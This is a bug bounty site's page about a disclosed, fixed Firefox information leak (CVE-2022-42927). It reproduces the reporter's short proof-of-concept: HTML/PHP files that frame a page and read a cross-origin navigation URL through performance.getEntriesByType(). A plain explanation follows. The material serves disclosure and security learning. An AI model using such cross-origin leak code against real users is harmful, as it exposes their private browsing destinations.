Skip to content
Info disclosure Disclosed report Intermediate CVE-2022-42927

A Variant of bug id 1487964: Cross-Origin URL Steal is possible using performance.getEntries()

A cross-origin URL could be stolen when a page is framed, because performance.getEntries() exposed the URL of a resource loaded in an embedded script. An attacker could read the victim's browsing destination by framing the page and using a timed script.

James Lee Follow

Originally disclosed on Mozilla

  • Fixed in 17 days
  • Paid in 37 days
  • Disclosed after 17 days
Text
We are able to steal Cross-Origin URL when we frame the page. This is a variant of https://bugzilla.mozilla.org/show_bug.cgi?id=1487964

PoC:

framescript.php:

<iframe src="http://pwning.click/ffembed.php"/></iframe>

ffembed.php:

<embed src="/ffscript.php">
<script>
setTimeout(function(){alert(performance.getEntriesByType("resource")[1].name)},3000);
</script>

ffscript.php:

<script>location="https://www.bing.com/search?q=test"</script>

Test on: http://pwning.click/framescript.php


I tested on Latest Firefox Nightly for Windows.

The original report as published on Mozilla's Bugzilla, by James Lee. Images and videos are our own copies; raw HTML is shown as text. View it on Mozilla's Bugzilla.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

What the attacker needed

Victim visits attacker page; attacker controls framing page

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When a web page loads another page inside a frame, the browser normally prevents the outer page from reading the inner page's address. Here, a browser feature that records performance data leaked that address, so the outer page could learn where the inner page had navigated. This matters because it can reveal private browsing activity.

What is Info disclosure?

Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.

More by James Lee

View all

30 more disclosed reports, best first.

More from Mozilla

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Information disclosure

The lesson behind this report.

Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.